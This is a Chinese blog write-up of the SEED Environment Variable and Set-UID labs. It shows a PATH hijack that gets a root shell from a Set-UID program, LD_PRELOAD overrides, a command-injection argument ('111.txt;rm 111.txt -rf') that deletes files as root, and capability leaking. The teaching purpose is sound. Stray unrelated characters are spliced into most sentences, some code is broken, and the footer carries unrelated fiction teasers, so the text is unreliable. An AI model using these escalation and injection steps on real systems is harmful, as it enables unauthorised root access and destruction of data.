軟件安全-環(huán)境變量攻防

Environment Variable and Set-UID Program Lab

Manipulating environment variables

打印環(huán)境變量:
pirntenv env
設(shè)置/取消設(shè)置環(huán)境變量:
export unset

Inheriting environment variables from parents

如果進(jìn)程需要啟動(dòng)另一個(gè)程序的可執(zhí)行文件叼耙,它先f(wàn)ork創(chuàng)建一個(gè)自身的副本骇扇,
然后由該副本調(diào)用exec系統(tǒng)調(diào)用粱檀,用其他程序覆蓋自身。當(dāng)一個(gè)進(jìn)程調(diào)用fork時(shí)迹炼,它被認(rèn)為是父進(jìn)程否彩,新創(chuàng)建的進(jìn)程稱作子進(jìn)程讼昆。fork操作會(huì)為子進(jìn)程創(chuàng)建一個(gè)單獨(dú)的地址空間蒙袍,子進(jìn)程擁有父進(jìn)程所有內(nèi)存段的副本。

include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char** environ;
void printenv()
{
    int i = 0;
    while(environ[i] != NULL)
        printf("%s\n",environ[i++]);
}
void main()
{
    pid_t childPid;
    switch(childPid = fork())
    {
        case 0:
        printenv();
        exit(0);
    default:
        //printenv();
        exit(0);
}
}

先后取消父進(jìn)程和子進(jìn)程的注釋玄坦,將打印的文本信息保存血筑,
然后對(duì)比父進(jìn)程和子進(jìn)程的環(huán)境變量,結(jié)果完全一樣煎楣。

Environment varibales and execve()

int execve(const char* filename,char* const argv[],char* const envp[]);
execve()用來(lái)執(zhí)行參數(shù)filename字符串所代表的文件路徑豺总,

參數(shù)2是利用指針數(shù)組來(lái)傳遞給執(zhí)行文件,并且需要以空指針結(jié)束转质,

參數(shù)3是傳遞給執(zhí)行文件的新環(huán)境變量數(shù)組园欣。

成功不會(huì)返回,失敗返回-1休蟹。

include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char** environ;

int main()
{
    char* argv[2];
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env",argv,NULL);
    //execve("/usr/bin/env",argv,environ);
    return 0;
}

當(dāng)execve()函數(shù)的參數(shù)3:新的環(huán)境變量數(shù)組沸枯,設(shè)置為NULL的時(shí)候,打印信息為空赂弓。
當(dāng)設(shè)置為environ時(shí)绑榴,打印出環(huán)境變量信息。

Environment variables and system()

int system(const char* string);
system()會(huì)調(diào)用fork()產(chǎn)生子進(jìn)程盈魁,由子進(jìn)程來(lái)調(diào)用/bin/sh來(lái)執(zhí)行參數(shù)string字符串所代表的命令翔怎,
此命令執(zhí)行完成后隨即返回原調(diào)用的進(jìn)程。
如果執(zhí)行成功則返回子shell的終止?fàn)顟B(tài)杨耙。
如果fork()失敗赤套,返回-1。
如果exec()失敗珊膜,表示不能執(zhí)行shell容握,返回值相當(dāng)于shell執(zhí)行了exit。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("/usr/bin/env");
    return 0;
}

編譯運(yùn)行车柠,結(jié)果打印環(huán)境變量剔氏。

Environment variables and Set-UID Programs

#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void main()
{
    int i = 0;
    while (environ[i] != NULL)
        printf("%s\n", environ[i++]);
}

root用戶編譯塑猖,設(shè)置Set-UID。
普通用戶下谈跛,使用export設(shè)置環(huán)境變量:

PATH
LD_LIBRARY_PATH
運(yùn)行上面的程序羊苟,發(fā)現(xiàn)環(huán)境變量發(fā)生變化
PATH變成剛剛設(shè)置的
LD_LIBRARY_PATH沒(méi)有找到
The PATH Environment variable and Set-UID Programs

int main()
{
    system("ls");
    return 0;
}

將/bin/sh復(fù)制到程序當(dāng)前目錄,命令為ls感憾。

cp /bin/sh ~/ls

設(shè)置環(huán)境變量PATH=~:$PATH蜡励。

root用戶編譯上面的程序,設(shè)置Set-UID阻桅。

普通用戶運(yùn)行巍虫,結(jié)果顯示獲取到root權(quán)限。

The LD_PRELOAD environment variable and Set-UID Programs

#include <stdio.h>
void sleep(int s)
{
    printf("i am not sleeping \n");
}

gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
export LD_PRELOAD=./libmylib.so.1.0.1

/* myprog.c */
int main()
{
    sleep(1);
    return 0;
}

myprog普通程序鳍刷,普通用戶運(yùn)行
//輸出 i am not sleeping
myprog Set-UID root程序,普通用戶運(yùn)行
//輸出空
myprog Set-UID root程序俯抖,設(shè)置root用戶環(huán)境變量LD_PRELOAD输瓜,root用戶運(yùn)行
//輸出 i am not sleeping
myprog普通用戶1程序,設(shè)置普通用戶2環(huán)境變量LD_PRELOAD芬萍,普通用戶2運(yùn)行
//輸出空
只有用戶自己創(chuàng)建的程序自己去運(yùn)行尤揣,才會(huì)使用LD_PRELOAD環(huán)境變量,
否則忽略LD_PRELOAD環(huán)境變量柬祠。

Invoking external programs using system() versus execve()

/*  bob.c */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
    char *v[3];
    char *command;
    if(argc < 2) {
        printf("Please type a file name.\n");
    return 1;
}
    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
    command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);
    // Use only one of the followings.
    system(command);
    // execve(v[0], v, NULL);
    return 0 ;
}

system(command);
bob可以實(shí)現(xiàn)刪除指定文件北戏。
root用戶,編譯上述程序漫蛔,設(shè)置Set-UID嗜愈。
攻擊者bob可以通過(guò):
./bob “111.txt;rm 111.txt -rf”
實(shí)現(xiàn)將沒(méi)有寫(xiě)權(quán)限的的文件111.txt刪除。
因?yàn)閟ystem()調(diào)用了shell莽龟,由于本程序設(shè)置了Set-UID蠕嫁,
將會(huì)以root身份去執(zhí)行字符串。
execve(v[0],v,NULL);
無(wú)法刪除指定文件毯盈。
./bob “111.txt;rm 111.txt -rf”
execve()將”111.txt;rm 111.txt -rf”當(dāng)作文件名剃毒,
自然顯示找不到文件。
Capability Leaking

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
void main()
{
    int fd;
    /* Assume that /etc/zzz is an important system file,
    * and it is owned by root with permission 0644.
    * Before running this program, you should creat
    * the file /etc/zzz first. */
    fd = open("/etc/zzz", O_RDWR | O_APPEND);
    if (fd == -1) {
        printf("Cannot open /etc/zzz\n");
        exit(0);
    }
    /* Simulate the tasks conducted by the program */
    sleep(1);
    /* After the task, the root privileges are no longer needed,
    it’s time to relinquish the root privileges permanently. */

    setuid(getuid()); /* getuid() returns the real uid */
    if (fork()) { /* In the parent process */
        close (fd);
        exit(0);
    } else { /* in the child process */
    /* Now, assume that the child process is compromised, malicious
    attackers have injected the following statements
    into this process */
    write (fd, "Malicious Data\n", 15);
    close (fd);
    }
}

root用戶編譯搂赋,設(shè)置Set-UID赘阀,普通用戶運(yùn)行。

結(jié)果成功寫(xiě)入:“Malicious Data\n”

由于文件fd是root權(quán)限打開(kāi)的脑奠,導(dǎo)致降權(quán)不徹底基公。

需要遵循最小權(quán)限原則,用完就釋放權(quán)限捺信。


Set-UID Program Vulnerability Lab
實(shí)驗(yàn)?zāi)康模?br> 理解掌握為什么需要Set-UID程序
理解掌握潛在的安全隱患

問(wèn)題1

當(dāng)我們?cè)谄胀ㄓ脩粝螺斎雜u時(shí)酌媒,會(huì)發(fā)生什么欠痴?
需要我們輸入密碼,進(jìn)入root賬戶
當(dāng)我們把su程序復(fù)制到另一個(gè)目錄下的時(shí)候秒咨,運(yùn)行該目錄下的su passwd會(huì)發(fā)生什么喇辽?
輸入密碼無(wú)效,因?yàn)閺?fù)制的程序丟失了Set-UID
問(wèn)題2

root用戶登錄雨席,復(fù)制/bin/zsh到/tmp,設(shè)置s位菩咨,切換到普通用戶下,運(yùn)行/tmp/zsh陡厘,你會(huì)獲得root權(quán)限嗎抽米?
進(jìn)入zsh,普通用戶可以獲得root權(quán)限
復(fù)制/bin/bash試一試糙置?
進(jìn)入普通bash云茸,bash程序中有Set-UID保護(hù)機(jī)制
問(wèn)題3

更改/bin/sh符號(hào)鏈接指向/bin/zsh?

$ su
Password: (enter root password)cd /bin
rm sh
ln -s zsh sh

問(wèn)題4

PATH環(huán)境變量

在問(wèn)題3的基礎(chǔ)上
普通用戶下設(shè)置環(huán)境PATH=/tmp:$PATH
root用戶將zsh復(fù)制到/tmp谤饭,設(shè)置s位标捺,重命名為ls

#include <unistd.h>
#include <stdlib.h>
int main()
{
    system("ls");
    return 0;
}

普通用戶編譯運(yùn)行上面的程序,即可獲得root shell揉抵。

如果sh軟鏈接指向的是bash亡容,結(jié)果會(huì)怎樣?
只能獲得普通shell
問(wèn)題5

system()和execve()
背景:BOB是一個(gè)代碼審計(jì)員冤今,他需要看一家公司的全部文件闺兢,但是不能修改任何文件。
為此戏罢,系統(tǒng)管理員寫(xiě)了一個(gè)Set-UID的小程序屋谭,并且給了BOB可執(zhí)行權(quán)限。
這個(gè)小程序允許BOB輸入一個(gè)文件名帖汞,讓運(yùn)行/bin/cat查看文件內(nèi)容戴而。
小程序運(yùn)行期間,具有root權(quán)限翩蘸,因此可以查看任何文件內(nèi)容所意。
又因?yàn)檫@個(gè)小程序沒(méi)有寫(xiě)權(quán)限,因?yàn)锽OB不能修改任何文件催首。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc,char* argv[])
{
    char* v[3];
    if(argc <2)
    {
        pirntf("Please type a file name.\n");
        return 1;
    }
}
v[0] = "/bin/cat";
v[1] = argv[1];
v[2] = 0;
int q = 0;
if(q ==0)
{
    char* command = malloc(strlen(v[0])+strlen(v[1])+2);
    sprintf(command,"%s %s",v[0],v[1]);
    system(command);
}
else
{
    execve(v[0],v,0);
}
return 0;

q = 0 如果你是BOB扶踊,你可以刪除文件嗎?
能郎任。程序使用system()函數(shù)秧耗,調(diào)用/bin/sh程序,修改環(huán)境變量舶治。
q = 1 如果你是BOB分井,你可以刪除文件嗎车猬?
不能。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末尺锚,一起剝皮案震驚了整個(gè)濱河市珠闰,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌瘫辩,老刑警劉巖伏嗜,帶你破解...
    沈念sama閱讀 221,635評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異伐厌,居然都是意外死亡承绸,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,543評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)挣轨,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)军熏,“玉大人,你說(shuō)我怎么就攤上這事卷扮⌒呙裕” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,083評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵画饥,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我浊猾,道長(zhǎng)抖甘,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,640評(píng)論 1 296
  • 正文 為了忘掉前任葫慎,我火速辦了婚禮衔彻,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘偷办。我一直安慰自己艰额,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,640評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布椒涯。 她就那樣靜靜地躺著柄沮,像睡著了一般。 火紅的嫁衣襯著肌膚如雪废岂。 梳的紋絲不亂的頭發(fā)上祖搓,一...
    開(kāi)封第一講書(shū)人閱讀 52,262評(píng)論 1 308
  • 那天,我揣著相機(jī)與錄音湖苞,去河邊找鬼拯欧。 笑死珍剑,一個(gè)胖子當(dāng)著我的面吹牛庄撮,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 40,833評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼求豫,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了透且?” 一聲冷哼從身側(cè)響起性誉,我...
    開(kāi)封第一講書(shū)人閱讀 39,736評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎靶庙,沒(méi)想到半個(gè)月后问畅,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,280評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡六荒,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,369評(píng)論 3 340
  • 正文 我和宋清朗相戀三年护姆,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片掏击。...
    茶點(diǎn)故事閱讀 40,503評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡卵皂,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出砚亭,到底是詐尸還是另有隱情灯变,我是刑警寧澤,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布捅膘,位于F島的核電站添祸,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏寻仗。R本人自食惡果不足惜刃泌,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,870評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望署尤。 院中可真熱鬧耙替,春花似錦、人聲如沸曹体。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,340評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)箕别。三九已至铜幽,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間串稀,已是汗流浹背啥酱。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,460評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留厨诸,地道東北人镶殷。 一個(gè)月前我還...
    沈念sama閱讀 48,909評(píng)論 3 376
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像微酬,于是被迫代替她去往敵國(guó)和親绘趋。 傳聞我的和親對(duì)象是個(gè)殘疾皇子颤陶,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,512評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容